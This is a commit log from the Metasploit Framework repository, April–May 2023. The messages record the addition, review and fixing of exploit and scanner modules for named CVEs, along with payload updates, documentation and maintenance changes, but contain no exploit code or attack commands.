RadioLogic 62f48c5933 Updated vsftpd_232 documentation 2023-05-17 12:01:59 -04:00
RadioLogic ab0b8b8274 Ran msftidy on module 2023-05-17 11:48:09 -04:00
cgranleese-r7 73a33a9f73 Addresses PR feedback 2023-05-17 16:45:15 +01:00
RadioLogic 775173381c Made progress show in dots rather than status 2023-05-17 11:44:37 -04:00
RadioLogic 9c888da5cb Reverted from threading as payload finally works 2023-05-17 11:43:50 -04:00
RadioLogic 49e7c2459f Fixed payload to properly function 2023-05-17 11:40:29 -04:00
RadioLogic 9a732a881b Improve module description
Co-authored-by: bcoles <bcoles@gmail.com>
2023-05-17 08:09:25 -04:00
RadioLogic 789646dd65 Use better failwith lines
Co-authored-by: bcoles <bcoles@gmail.com>
2023-05-17 08:08:59 -04:00
bcoles 0bc1fdf51d Add invscout RPM Privilege Escalation 2023-05-17 20:17:55 +10:00
RadioLogic 10dd1b8906 Updated scenarios for vsftpd_232 2023-05-17 00:44:46 -04:00
RadioLogic 6a846c2c94 Added stub since stopping doesnt exist 2023-05-17 00:44:18 -04:00
RadioLogic e1a9f61ad9 Added documentation to scanner module 2023-05-17 00:00:00 -04:00
RadioLogic f15c9a0bbb Added cmd useradd payload 2023-05-16 23:16:54 -04:00
RadioLogic 4f70be41ae Removed lib include line as it became redundant 2023-05-16 23:02:55 -04:00
RadioLogic 0bf5746bde Added recommended folders to config 2023-05-16 18:25:37 -04:00
RadioLogic 6fdc86db19 Set max files to 0 2023-05-16 18:25:07 -04:00
h00die 2ca5ca1f63 stronger grep 2023-05-16 16:18:14 -04:00
RageLtMan f929d2c90f Drop redundant shell_command in powershell.rb 2023-05-16 15:43:16 -04:00
RageLtMan 713ec6ae76 Merge branch 'master' into feature/aws_ssm_sessions 2023-05-16 14:39:37 -04:00
Metasploit 571e3d5e99 automatic module_metadata_base.json update 2023-05-16 09:35:29 -05:00
cgranleese-r7 82bf51647d Improves flag formatting for kerberos ticket presenter 2023-05-16 15:25:36 +01:00
Grant Willcox 459cf871cb Land #17979, Add exploit for Ivanti Avalanche file upload - CVE-2023-28128 2023-05-16 09:19:33 -05:00
h00die 6bee4f56d9 updates from review 2023-05-13 15:49:11 -04:00
Grant Willcox 560fc9000b Fix up checks on responses to make sure they are more robust checks 2023-05-12 16:08:47 -05:00
Grant Willcox ea988f0c78 Add more documentation on how to set the target up based on my own experience and so that we have a backup in case the link to external documentation breaks 2023-05-12 14:27:39 -05:00
Grant Willcox 3b2d23eeae Fix up check method, unduplicate fail_with messages to make them unique, and add @cleanup_needed so we can check if cleanup is needed to avoid unnecessary messages when just checking if the target is vulnerable or not 2023-05-12 14:14:40 -05:00
RadioLogic b7b1df23ea Implemented threading into module 2023-05-12 14:28:10 -04:00
RadioLogic 04e6bf804f Made stability involve service down 2023-05-12 14:27:58 -04:00
RadioLogic 0e9060e295 Added documentation for module 2023-05-12 14:27:12 -04:00
Metasploit 3c0222d7d0 automatic module_metadata_base.json update 2023-05-12 13:16:50 -05:00
adfoster-r7 f40a2e8dbc Land #17990, ibstat_path: Use AutoCheck, add Notes, resolve Rubocop violations 2023-05-12 19:03:22 +01:00
adfoster-r7 c723a2865e Land #17987, Split recalculate out into multiple functions 2023-05-12 18:27:46 +01:00
RadioLogic 2e5b38e718 Merge branch 'master' into solargraph 2023-05-12 13:02:36 -04:00
Dean Welch 3036a53697 Change name to single_name for consistency 2023-05-12 16:59:33 +01:00
Dean Welch f6855f6aa4 Split recalculate out into multiple functions 2023-05-12 16:30:14 +01:00
RadioLogic f46967e2c4 Added config for solargraph to aid IDEs 2023-05-12 11:29:32 -04:00
bcoles 004a72c32e ibstat_path: Use AutoCheck, add Notes, resolve Rubocop violations 2023-05-13 01:27:53 +10:00
dwelch-r7 b752735db1 Land #17967, Fix ruby 3.1 crashes and resource leaks when garbage collecting Meterpreter resources 2023-05-12 14:14:02 +01:00
Grant Willcox cf5f90ac4f Minor updates to documentation to tidy things up a bit 2023-05-11 16:48:16 -05:00
space-r7 722de33b6f address feedback, use cleanup to restore path
fix bug where if config restore failed, module would
output that it was both a failure and a success
add akb topic as reference
2023-05-11 13:20:25 -05:00
Metasploit 20ac531254 automatic module_metadata_base.json update 2023-05-11 13:11:32 -05:00
adfoster-r7 ff1331c11b Land #17985, fix typo in sticky_keys.rb 2023-05-11 18:50:18 +01:00
Edmond Major III d24f5873bd Update sticky_keys.rb
Persistance -> Persistence 

Fix a small typo
2023-05-11 12:22:54 -05:00
Metasploit 484639a2e0 Bump version of framework to 6.3.17 2023-05-11 12:13:25 -05:00
catatonicprime a445b07233 removing unnecessary call to payload_uri 2023-05-11 16:35:53 +00:00
Shelby Pace 131f2519bc Update modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-05-11 10:48:48 -05:00
Metasploit 3ffd072852 automatic module_metadata_base.json update 2023-05-11 10:24:58 -05:00
adfoster-r7 fa6a5e24f0 Land #17807, Add in documentation on Metasploit's file system 2023-05-11 16:11:12 +01:00
Grant Willcox 63ffb850dd Land #17984, Fix kerberos datastore name typo in winrm docs
Fix kerberos datastore name typo in winrm docs
2023-05-11 09:56:22 -05:00
adfoster-r7 eb959e2e40 Land #17060, GSoC Project: Implement HTTP-Trace enabled login scanners 2023-05-11 15:45:01 +01:00
Metasploit e3e23d3d7c automatic module_metadata_base.json update 2023-05-11 09:42:41 -05:00
Grant Willcox 020ee7ca5c Land #17964 - Pentaho Business Server Auth Bypass and SSTI - CVE-2022-43769 and CVE-2022-43939 2023-05-11 09:28:55 -05:00
Spencer McIntyre d8dd9bbe79 Move the publish timeout logic (#40)
This makes it accessible from enum_ssm so Linux sessions can be opened.
2023-05-11 09:58:16 -04:00
Spencer McIntyre dbda20d40b Land #17980, Fix Powershell session's #exist?
Replace [System.IO.File]::Exists with Test-Path
2023-05-11 09:10:43 -04:00
adfoster-r7 fe63d80679 Fix issues: double encoding bug, nessus scanner logging, remove dead cgi option 2023-05-11 13:01:52 +01:00
adfoster-r7 55de00911f Fix kerberos datastore name typo in winrm docs 2023-05-11 12:40:00 +01:00
catatonicprime c43eaf86bc Adding documentation. 2023-05-11 05:09:35 +00:00
catatonicprime d50bd24c2f Adding config cleanup. 2023-05-11 04:57:57 +00:00
catatonicprime cb2c6a7d80 Prevent bypass_auth from being called twice when AutoCheck is true 2023-05-11 00:34:47 +00:00
Grant Willcox 9f6a1c18a1 Minor updates to fix URLs, disclosure date, description, and minor gramatical things 2023-05-10 18:22:00 -05:00
Spencer McIntyre e92695149d Fix linux tests, remove Windows support (#39)
* Revert "shell_command_token_base get 0th output index"

This reverts commit 3a4cb3560f.

* Correct the order of arguments to #set_term_size

* Fix paths for directory checks

The path C:\ ends with a trailing backslash which will cause bash to
wait for another line if input. This places the shell in an undesirable
state.

* Fix post module tests for Linux

* Remove the command document

This hasn't been tested and it's unclear under what conditions this
would be used.

* Fix Windows SSM sessions

---------

Co-authored-by: Spencer McIntyre <zeroSteiner@gmail.com>
2023-05-10 17:48:53 -04:00
Grant Willcox 9f0a6503b7 require.js is not the only way, account for this new discovery in code 2023-05-10 13:02:02 -05:00
Grant Willcox 5d4e68d36c Add Metasploit payload example and remove message that may suggest successful exploitation occurred even when it didn't 2023-05-10 10:36:29 -05:00
Grant Willcox 1b8f1de7c8 Add in fixes from review, add archive of software, and use uri_encode_mode for encoding parameters. 2023-05-10 10:16:08 -05:00
RageLtMan 62e59e6250 Replace [System.IO.File]::Exists with Test-Path
The exists? method in post/file has a different implementation for
PSH sessions than other shells which are testing for the existence
of a path, not the presence of a file.

Fix this by replacing [System.IO.File]::Exists with Test-Path.

Testing:
```
PS C:\Windows\system32> [System.IO.File]::Exists("C:\")
False
PS C:\Windows\system32>test-path C:\
PS C:\Windows\system32> test-path C:\
True
```
2023-05-10 11:10:08 -04:00
vtoutain e742df1c33 Rubocop warning fix 2023-05-10 16:18:33 +02:00
space-r7 e514de9aef add comment about jsf substitution 2023-05-10 09:13:01 -05:00
Metasploit 87ba25c706 automatic module_metadata_base.json update 2023-05-10 05:06:35 -05:00
vtoutain cfea6530a1 Merge branch 'rapid7:master' into dolibarr_16_contact_dump 2023-05-10 11:59:46 +02:00
vtoutain d50993cd80 reviews from cdelafuente-r7
Used the AutoCheck mixin, removed the exploit function that was mileading, removed the hardcoded HttpTimeout, and refactored some code portions.
2023-05-10 11:59:09 +02:00
vtoutain daee69e1d0 Fix msftidy errors 2023-05-10 11:55:50 +02:00
Christophe De La Fuente a485a786ef Land #17881, Zyxel chained RCE using LFI and weak password derivation algorithm 2023-05-10 11:49:51 +02:00
h00die-gr3y 4f8024454c Updates based on cdelafuente-r7 latest comments 2023-05-10 07:46:11 +00:00
catatonicprime c5b0bc68d7 Improved automatic targeting, tested back to major version 14 2023-05-09 23:44:46 +00:00
catatonicprime eff189f221 Ensuring csrf_token is initialized. 2023-05-09 23:43:56 +00:00
catatonicprime 43564b5267 Removing unneeded features/options. 2023-05-09 23:43:30 +00:00
Jack Heysel 79d35ad938 Fixed check method 2023-05-09 14:25:03 -05:00
Jack Heysel eca87ea2eb Updated side effects and fixed fail_withs 2023-05-09 14:25:03 -05:00
Jack Heysel 348750ea70 Updated Authors 2023-05-09 14:25:02 -05:00
Jack Heysel 07056a74bc Pentaho Business Server Auth Bypass and SSTI 2023-05-09 14:24:51 -05:00
adfoster-r7 908f7ad3f3 Land #17972, updates to some of the example modules to keep them in line with framework changes 2023-05-09 18:46:25 +01:00
space-r7 d60843f0eb name versions that are vulnerable 2023-05-09 09:16:42 -05:00
space-r7 08a79a2f4e add documentation 2023-05-08 17:42:23 -05:00
space-r7 d1e3ce1183 add Ivanti Avalanche file upload 2023-05-08 17:41:52 -05:00
Metasploit 4e85f9e4da automatic module_metadata_base.json update 2023-05-08 17:36:25 -05:00
Grant Willcox 6dbee6e6f6 Land #17968, Fix a bug in ACE processing when searching for ESC vulnerabilities 2023-05-08 17:12:12 -05:00
Grant Willcox bc25907d1e Add additional clarity to some segments of the module 2023-05-08 16:43:26 -05:00
Spencer McIntyre cdab415ffb Fix a bug in ACE processing
There was an issue in the ACE processing where only ACEs corresponding
to an object were processed for SIDs with enrollment rights. The
processing should also process ACEs that grant the enrollment right and
are not related to any objects. In other words, only ACEs associated
with an object that is neither the CERTIFICATE_ENROLLMENT_EXTENDED_RIGHT
or CERTIFICATE_AUTOENROLLMENT_EXTENDED_RIGHT right should be ignored.
2023-05-08 16:00:38 -05:00
h00die 12911d10fb review comments 2023-05-08 15:25:31 -04:00
Metasploit 4fa6022adb automatic module_metadata_base.json update 2023-05-08 13:49:17 -05:00
Grant Willcox 89889d5e79 Land #17133, Add manageengine adaudit plus authenticated rce module and docs - CVE-2021-4284 2023-05-08 13:23:38 -05:00
Grant Willcox f773d348e1 Add in notes about reliability of the module, and also add documentation on 7005 test on Windows 2022 2023-05-08 12:11:01 -05:00
Grant Willcox c221edb1ec Add in ADAudit Plus build 6077 testing examples 2023-05-08 11:45:44 -05:00
h00die 0ace550537 small updates to example modules 2023-05-07 13:02:30 -04:00
h00die-gr3y 51ab9746fb Updates based on cdelafuente-r7 comments 2023-05-06 19:05:21 +00:00
catatonicprime c69ca39748 consistent indenting 2023-05-06 05:07:59 +00:00
catatonicprime 0448d408ea Match wording from "How to write a module using HttpServer and HttpClient" on docs.metasploit.com 2023-05-06 04:58:50 +00:00
catatonicprime af3c482acd heh, I probably should have tested that too 2023-05-06 04:55:23 +00:00
catatonicprime e37e506fe2 heh, I probably should have tested this 2023-05-06 04:37:43 +00:00
space-r7 f04dababa2 add upload code 2023-05-05 18:59:46 -05:00
h00die e692e927dc review fixes 2023-05-05 16:43:47 -04:00
catatonicprime f27648799b Adding original ZDI reference. Minor formatting changes. 2023-05-05 18:19:53 +00:00
Catatonic Prime 5f12f0e0ba Apply suggestions from code review
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-05-05 11:07:08 -07:00
adfoster-r7 069ad805c1 Fix ruby 3.1 crashes when garbage collecting meterpreter resources 2023-05-05 14:04:17 +01:00
ErikWynter b8856bbb87 fix capitalization of Htlm_fileName JSON parram 2023-05-05 09:59:11 +03:00
Grant Willcox 19651633c4 Update the installation instructions to resolve some issues encountered during testing 2023-05-04 18:26:54 -05:00
space-r7 9fa0dac56c add login and path change methods 2023-05-04 18:03:02 -05:00
Grant Willcox adec2f4fbb Update the login.rb code so we aren't as strict on cookies since older versions sometimes use JSESSIONIDADAPSSO instead of JSESSIONIDSSO for login cookies 2023-05-04 15:40:39 -05:00
jvoisin 3b66b3416f Golf a bit the php payload
- Put all the error-disabling statements on a single line
- Remove some useless spaces
- Use `stristr(…)` (available since PHP4) instead of `strpos(strtolower(…))`
- Use `&&` instead of `and`
- Use backticks instead of `passthru`, since they're equivalent: https://www.php.net/manual/en/language.operators.execution.php
2023-05-04 22:25:32 +02:00
Grant Willcox 8c7ae1b6bb Minor update to comments for clarity 2023-05-04 15:12:32 -05:00
ErikWynter c088430bd9 improve sanity checks in login method and other code review fixes 2023-05-04 15:12:31 -05:00
Grant Willcox f27fc28411 Perform review updates 2023-05-04 15:12:31 -05:00
ErikWynter 9b596b3efd minor changes 2023-05-04 15:12:31 -05:00
ErikWynter 1c6c1dffc6 final code review fixes 2023-05-04 15:12:31 -05:00
ErikWynter 9fe7db4648 improve status codes handling 2023-05-04 15:12:30 -05:00
ErikWynter 86b7f97421 remove trailing whitespace 2023-05-04 15:12:30 -05:00
ErikWynter aede036b02 additional changes from code review 2023-05-04 15:12:30 -05:00
Grant Willcox 8871b2955b Fix up Active Directory name so we appropriately use uppercase 2023-05-04 15:12:30 -05:00
Grant Willcox ba687c49aa Fix a few typos 2023-05-04 15:12:29 -05:00
ErikWynter a5e86a0c51 code review improvements, including renaming silent param 2023-05-04 15:12:29 -05:00
Grant Willcox 0fd743d851 Add in fixes from code review 2023-05-04 15:12:29 -05:00
ErikWynter dd075d5c99 library improvements after code review, module update 2023-05-04 15:12:28 -05:00
ErikWynter a2cf29ab98 partial fixes after library code review 2023-05-04 15:12:28 -05:00
Grant Willcox 61d1cf1460 Fix up things identified during review 2023-05-04 15:12:28 -05:00
Grant Willcox d5032f0a5d Minor touchups on documentation for review 2023-05-04 15:12:28 -05:00
ErikWynter e639460b9f fix library comments for json_post_data.rb 2023-05-04 15:12:27 -05:00
ErikWynter 32796b429b add note about payload limitations for builds 7004 and 7005 2023-05-04 15:12:27 -05:00
ErikWynter 47d374497a create adaudit plus mixin and move some stuff there 2023-05-04 15:12:27 -05:00
Grant Willcox 3b0d8b850b Fix up some issues identified during review 2023-05-04 15:12:26 -05:00
ErikWynter 9f68a5f8d1 add manageengine_adaudit_plus_authenticated_rce exploit module and docs 2023-05-04 15:12:09 -05:00
Metasploit 783a1eb504 Bump version of framework to 6.3.16 2023-05-04 12:11:31 -05:00
Grant Willcox e5c636f931 Move folder descriptions into README.md files 2023-05-03 14:06:13 -05:00
Grant Willcox 184ad67f79 Add in documentation on Metasploit's file system 2023-05-03 14:06:00 -05:00
Metasploit b01c4d37f7 automatic module_metadata_base.json update 2023-05-03 12:04:07 -05:00
Grant Willcox bf61718fe6 Land #17915, Icinga Web 2 Arbitrary File Read (CVE-2022-24716) 2023-05-03 11:47:26 -05:00
Grant Willcox 818bd4837e Add in additional information about testing on Docker 2023-05-03 10:17:16 -05:00
Jeffrey Martin 2059505ccd improve login attempt guards
* tighted up rescue to catch individual attempt exceptions
* remove general rescue in SNMP
* ensure SNMP socket is released
2023-05-03 09:15:14 -05:00
adfoster-r7 3bf01f2cf2 Land #17911, Update setting missing datastore values to a warning instead of an error 2023-05-03 13:04:03 +01:00
cgranleese-r7 67694c1ef7 Removes return false 2023-05-03 11:41:11 +01:00
Metasploit c6547737a6 automatic module_metadata_base.json update 2023-05-03 04:28:17 -05:00
adfoster-r7 ed9b9cc502 Land #17963, Add CVE-1999-0554 to nfsmount module 2023-05-03 10:05:26 +01:00
h00die 0c0ae00149 add cve to nfsmount 2023-05-02 19:58:47 -04:00
h00die 95562e04aa sudoedit work 2023-05-02 18:39:59 -04:00
Grant Willcox 5b080f20b6 Land #17960, lock msgpack until build resolved 2023-05-02 17:09:00 -05:00
Jeffrey Martin 0a85cba56d lock msgpack until build resolved
MessagePack 1.7.0 gem introduced code not compatible with the current
build env used for nightly packages. This may be addressed in several
ways and has been reported upstream. Lock the version a until a path
forward is determined.
2023-05-02 15:53:26 -05:00
Grant Willcox 092e4f93ad Fix up incorrect user who we are executing as 2023-05-02 15:50:46 -05:00
Jeffrey Martin 152f9460f9 rescue login scanner attempts
* Improve base login scanner to catch any Exception
* Catch any Exception in SNMP scanner that overrides base method
* Expand connection errors possible in PostgreSQL scanner
2023-05-02 15:43:57 -05:00
Grant Willcox cf6b309904 Add in quick fixes from review 2023-05-02 15:17:02 -05:00
Metasploit b90b0a75c6 automatic module_metadata_base.json update 2023-05-02 12:24:15 -05:00
adfoster-r7 7ec7a4c607 Land #17910, Fixes couchdb_login false positives 2023-05-02 17:56:55 +01:00
Grant Willcox 40474ed88c Land #17950, Update Rubocop dependency 2023-05-01 09:19:01 -05:00
adfoster-r7 ca0739b3b2 Update rubocop dependency 2023-04-28 23:42:00 +01:00
Grant Willcox 41c75c2e30 Land #17906, Weekly dependency updates for Gemfile.lock 2023-04-28 17:01:09 -05:00
Grant Willcox 22441f1064 Land #16390, Implement Caching DNS Resolver in Rex 2023-04-28 16:42:44 -05:00
Grant Willcox 5169174c45 Remove Rubocop updates until we can fix underlying issues in our code 2023-04-28 15:19:03 -05:00
Grant Willcox 3e81408a24 Add support for getting IPv6 addresses from hosts files and saving them into the cache 2023-04-28 14:47:56 -05:00
Metasploit e3e82f0db2 automatic module_metadata_base.json update 2023-04-28 14:28:52 -05:00
Spencer McIntyre d3a903b8b3 Land #17945, Add missing payload tests 2023-04-28 15:13:50 -04:00
Metasploit e3963a2e5c automatic module_metadata_base.json update 2023-04-28 12:51:28 -05:00
Christophe De La Fuente 60149259a2 Land #17856, RCE exploit for CVE-2023-26359 (Adobe ColdFusion) and an auxiliary module for arbitrary file read via the same vuln. 2023-04-28 19:27:15 +02:00
Grant Willcox 6fa21d130f Land #17944, Update metasploit-payloads gem to 2.0.130 2023-04-28 11:56:33 -05:00
Christophe De La Fuente f5b1b96d9a Fix rubocop issues 2023-04-28 16:09:57 +02:00
Christophe De La Fuente 62806caeae Update web_delivery 2023-04-28 16:09:51 +02:00
RageLtMan 867902e7d0 SSM start/stop publication 2023-04-28 09:00:37 -04:00
h00die-gr3y cfb21e3de2 Added CVE-2023-28770 reference 2023-04-28 12:51:17 +00:00
Metasploit 680ccbfe2f automatic module_metadata_base.json update 2023-04-28 05:55:18 -05:00
adfoster-r7 f6e1fcdd90 Land #17947, feedback_assistant_root: Check if OSX version is blank in check method 2023-04-28 11:25:52 +01:00
bcoles f6725dfc4e feedback_assistant_root: Check if OSX version is blank in check method 2023-04-28 19:52:15 +10:00
catatonicprime 97a76e3883 linting changes. removing unnecessary success checks. 2023-04-28 00:07:47 +00:00
catatonicprime 4ba8d62d88 Removing unused documentation 2023-04-28 00:02:37 +00:00
catatonicprime c0be991ed8 removing superfluous options 2023-04-28 00:00:57 +00:00
Jeffrey Martin 9f2105c06d add sctp payload specs
Update sizes to match automation expectations
2023-04-27 16:42:46 -05:00
Jeffrey Martin 61a8481a0f missing adapter for python Windows 2023-04-27 15:22:12 -05:00
catatonicprime 12f7134cc6 generating payloads on the fly is what we wanted originally 2023-04-27 19:38:12 +00:00
Spencer McIntyre 36f9025cea Update metasploit-payloads gem to 2.0.130
Includes changes from:
* rapid7/metasploit-payloads#631
* rapid7/metasploit-payloads#639
* rapid7/metasploit-payloads#634
2023-04-27 13:47:37 -04:00
Metasploit 601d9cef96 Bump version of framework to 6.3.15 2023-04-27 12:03:50 -05:00
adfoster-r7 4d98499766 Land #17941, Added CVE Identifier to SEC Consult Zyxel Exploit (CVE-2023-28769) 2023-04-27 17:46:38 +01:00
space-r7 63115c9415 Land #17857, add T3S support for weblogic modules 2023-04-27 11:37:37 -05:00
catatonicprime 16ae6b71f4 Use the generated payload as is. 2023-04-27 15:21:21 +00:00
catatonicprime feec15a482 full_uri has what we need for the origin header 2023-04-27 15:07:15 +00:00
Jacob Baines ec5858c198 Added newly assigned CVE identifier 2023-04-27 09:54:48 -04:00
3V3RYONE 9c8bc4e124 added yard docs 2023-04-27 16:56:49 +05:30
catatonicprime 0be38eb3ab method should do one thing and do it well 2023-04-26 19:32:57 +00:00
catatonicprime 5e93669d75 Enable AutoCheck 2023-04-26 19:28:56 +00:00
catatonicprime 9f6fe964e2 bypass_auth returns the anti-csrf token and vprints active session on success 2023-04-26 18:28:02 +00:00
catatonicprime 8694beebd1 Removing unnecessary search. 2023-04-26 18:17:46 +00:00
space-r7 03fcfa7559 Land #17914, fix paths for directory checks 2023-04-26 12:20:46 -05:00
Spencer McIntyre 4b33fc5d64 Land #17839, Cleanup documentation 2023-04-26 13:18:32 -04:00
catatonicprime 0cf5f4cacc More accurate list of side effects. 2023-04-26 16:55:13 +00:00
catatonicprime bcafd22997 Better defaults pattern for TARGETURI. 2023-04-26 16:54:19 +00:00
catatonicprime 8c87660eaa Explicit stance. 2023-04-26 16:53:04 +00:00
catatonicprime 22238a0860 Adding references. 2023-04-26 16:52:26 +00:00
Christophe De La Fuente 8ab37b0b07 Consolidate the FileDropper Mixin doc 2023-04-26 18:04:43 +02:00
Spencer McIntyre bb782a7120 Land #17937, Fix a documentation error
Update setting up a Metasploit development environment documentation
2023-04-26 11:53:10 -04:00
adfoster-r7 7a1f761e84 Update setting up a Metasploit development environment 2023-04-26 11:06:06 +01:00
h00die d454b2e195 cve-2023-22809 2023-04-25 20:54:48 -04:00
catatonicprime 8a9871f0d8 Default to a java payload. 2023-04-25 23:57:05 +00:00
catatonicprime a229a0ed86 If you are receiving 200, that is hard-evidence of bypass. Also Fix typo. 2023-04-25 23:34:04 +00:00
catatonicprime 17271f1046 Adding documentation, expanding failure cases. Always struggle in the last mile. Here we go. 2023-04-25 23:00:33 +00:00
Spencer McIntyre 2dc5a94ab7 Land #17926, Fix 64-bit pointer type
Update pointer type to support 64 bit calls
2023-04-25 16:20:43 -04:00
catatonicprime 1a823b05f1 Serve jar file for exploit. 2023-04-25 18:36:44 +00:00
Metasploit c9a9b998d2 automatic module_metadata_base.json update 2023-04-25 10:48:05 -05:00
dwelch-r7 10577cf1e4 Land #17913, Fix crash when running local exploit suggester 2023-04-25 16:31:59 +01:00
dwelch-r7 8f13040ce0 Land #17931, Fix deadlock regression when printing multiple lines to console 2023-04-25 16:31:27 +01:00
dwelch-r7 e646c0c6e2 Land #17930, Update attic issue text 2023-04-25 10:47:43 +01:00
h00die e7725e7b6d cve-2023-22809 2023-04-25 04:37:33 -04:00
adfoster-r7 6aad398e2b Update attic issue text 2023-04-25 00:42:10 +01:00
adfoster-r7 e7c05eabe3 Fix deadlock regression when printing multiple lines to console 2023-04-25 00:39:44 +01:00
Metasploit 447f36ee37 automatic module_metadata_base.json update 2023-04-24 17:25:57 -05:00
bwatters a8043adef0 Fix accidental copy/paste 2023-04-24 17:19:18 -05:00
bwatters 9215488d31 Update pointer type to support 64 bit calls 2023-04-24 17:14:50 -05:00
bwatters b052386700 Land #17921, resolve_sid: Add docs and resolve RuboCop violations
Merge branch 'land-17921' into upstream-master
2023-04-24 17:08:54 -05:00
vtoutain 3036b607b6 JSON output support
Added the prettyfied JSON output along with the CSV, refactored variables regarding the JSON contacts object.
2023-04-24 11:50:29 +02:00
vtoutain df6c2bf7eb Documentation update
Modified the layout according to reviews, updated scenarios output, and added the JSON example output.
2023-04-24 11:47:21 +02:00
vtoutain e565a8f962 Merge branch 'rapid7:master' into dolibarr_16_contact_dump 2023-04-24 11:44:52 +02:00
Grant Willcox 708da64a68 Add back in the require for dnsruby 2023-04-23 13:56:24 -05:00
catatonicprime 20109932fd Command injection PoC working. 2023-04-23 15:30:23 +00:00
bcoles 5a57ea131e resolve_sid: Add docs and resolve RuboCop violations 2023-04-23 17:39:32 +10:00
RageLtMan 3a4cb3560f shell_command_token_base get 0th output index 2023-04-22 18:00:44 -04:00
RageLtMan d797e5ec2c Simplify SSM shell output filtering 2023-04-22 17:18:21 -04:00
RageLtMan 5132302363 Filter control bytes from SSM output 2023-04-22 15:22:18 -04:00
RageLtMan 5b94077421 Merge remote-tracking branch 'origin/pr/38' into feature/aws_ssm_sessions 2023-04-22 15:20:46 -04:00
bcoles 538381bd4d shell_to_meterpreter: Support using bind payloads with PAYLOAD_OVERRIDE 2023-04-22 15:44:56 +10:00
h00die 076760e011 cve-2022-24716 2023-04-21 16:31:07 -04:00
h00die d6c2e4f528 cve-2022-24716 2023-04-21 16:27:52 -04:00
Spencer McIntyre 8c15c31b56 Fix paths for directory checks
The path C:\ ends with a trailing backslash which will cause bash to
wait for another line if input. This places the shell in an undesirable
state.
2023-04-21 14:39:00 -04:00
Metasploit 0436e8bad9 automatic module_metadata_base.json update 2023-04-21 10:14:29 -05:00
space-r7 365b7c099c Land #17895, add Joomla api scanner 2023-04-21 09:50:24 -05:00
h00die-gr3y c39751094a Updates based on review comments 2023-04-21 11:46:53 +00:00
cgranleese-r7 eb4107b5e2 Fixes couchdb login bug 2023-04-21 10:14:22 +01:00
adfoster-r7 f35b9e4fa5 Fix crash when running local exploit suggester 2023-04-21 10:13:37 +01:00
adfoster-r7 0908c85f1b Land #17912, Bump payloads to 2.0.127 2023-04-21 09:38:17 +01:00
catatonicprime 253f4e54bc rough pseudo-coding 2023-04-21 03:53:03 +00:00
bwatters f1602dd772 Bump payloads to 2.0.127 2023-04-20 18:50:36 -05:00
h00die 17f674e3fa review comments 2023-04-20 16:23:52 -04:00
Metasploit 04df1ef7e8 Bump version of framework to 6.3.14 2023-04-20 12:11:36 -05:00
Metasploit b224fd3ff3 automatic module_metadata_base.json update 2023-04-20 10:47:02 -05:00
cgranleese-r7 896058a147 Land #17908, Update ftp login connect timeout option name 2023-04-20 16:23:42 +01:00
vtoutain d6e921c414 Version regex fix
The previous fix was not matching numbers at the end of the version like "-rc2".
2023-04-20 16:20:40 +02:00
vtoutain ea9019600a Version regex update
Used a less greedy version of the regex based on reviews, as well as the `version.blank?` pattern for improved readability.
2023-04-20 16:00:24 +02:00
vtoutain ecd56c7904 Check logic simplification
Moved most of the check logic inside the check function to make it easier to read.
2023-04-20 11:51:28 +02:00
h00die-gr3y 4131f1abf1 Fixed some bugs in module and added documentation 2023-04-20 08:23:55 +00:00
Spencer McIntyre 2e3a2b6f6d Combine AWS SSM modules, autodetect platform 2023-04-19 18:05:50 -04:00
Spencer McIntyre 59b3c0e945 Set the platform in enum_ssm
Update the enum_ssm module to use the correct session type with the
appropriate platform. Also set the session information to the same
string which also removes the eye sore that is the shell banner.
2023-04-19 18:05:50 -04:00
Spencer McIntyre a7d8bc6757 Fix sessions opening over and over again
Also make some code cleanups
2023-04-19 18:05:50 -04:00
Spencer McIntyre 15ff4875bc Combine AWS SSM modules, autodetect platform 2023-04-19 17:58:59 -04:00
dwelch-r7 f6c8181b7f Land #17909, Fix Windows7 Meterpreter crash when in debug mode 2023-04-19 17:57:00 +01:00
adfoster-r7 8e77b70c99 Fix Windows7 Meterpreter crash when in debug mode 2023-04-19 17:30:05 +01:00
vtoutain a2f3a719a9 Fixes from code reviews
Fixed some typos, took into account the comment from jvoisin to infer fields from the JSON reply, used fail_with as suggested by jheysel-r7, fixed a rubocop warning about a redundant begin block.
2023-04-19 11:45:03 +02:00
vtoutain d875741c87 Fixed documentation typos 2023-04-19 11:43:08 +02:00
vtoutain 35c7d3918d Merge branch 'rapid7:master' into dolibarr_16_contact_dump 2023-04-19 11:24:37 +02:00
Metasploit 61cfd770ed automatic module_metadata_base.json update 2023-04-18 19:46:28 -05:00
bwatters 9c9eac28a7 Land #17874, VMware Workspace One Access mr_me Hekate LPE
Merge branch 'land-17874' into upstream-master
2023-04-18 19:29:39 -05:00
Metasploit ec025cbeda automatic module_metadata_base.json update 2023-04-18 18:26:39 -05:00
adfoster-r7 34a6980e5e Land #17907, Add VMware Workspace RCE added missing require statement 2023-04-19 00:12:59 +01:00
Metasploit 4cb9a4c142 automatic module_metadata_base.json update 2023-04-18 17:47:12 -05:00
adfoster-r7 246de78f85 Update ftp login connect timeout option name 2023-04-18 23:44:58 +01:00
Jack Heysel 9563466037 Land #17873, add ensure disconnect to ftp login
Add ensure disconnect to ftp login module and ftp timeout configuration
2023-04-18 18:31:12 -04:00
Jack Heysel bd286dd147 Added missing require builder statement 2023-04-18 18:10:46 -04:00
Jack Heysel de18ed438a Removed unnecessary require statement 2023-04-18 18:05:11 -04:00
Zach Goldman 898a9f2f3d add user mutability to connection timeout 2023-04-18 16:31:05 -05:00
Jack Heysel a2c23d18ef Added require builder statement 2023-04-18 16:01:14 -04:00
Jeffrey Martin 2de950c244 Weekly dependency updates for Gemfile.lock 2023-04-18 14:25:28 -05:00
h00die-gr3y de9cd59ea5 added pwd derivation and report credential function including updates based on review comments 2023-04-18 19:17:00 +00:00
Spencer McIntyre d8c8255120 Set the platform in enum_ssm
Update the enum_ssm module to use the correct session type with the
appropriate platform. Also set the session information to the same
string which also removes the eye sore that is the shell banner.
2023-04-18 14:07:04 -04:00
Spencer McIntyre 8ac5ae2a68 Fix sessions opening over and over again
Also make some code cleanups
2023-04-18 12:24:00 -04:00
Metasploit 40613a4741 automatic module_metadata_base.json update 2023-04-18 10:55:25 -05:00
cgranleese-r7 b65d3252e9 Land #17883, Fix crash for lotus domino hashes module when database not active 2023-04-18 16:38:47 +01:00
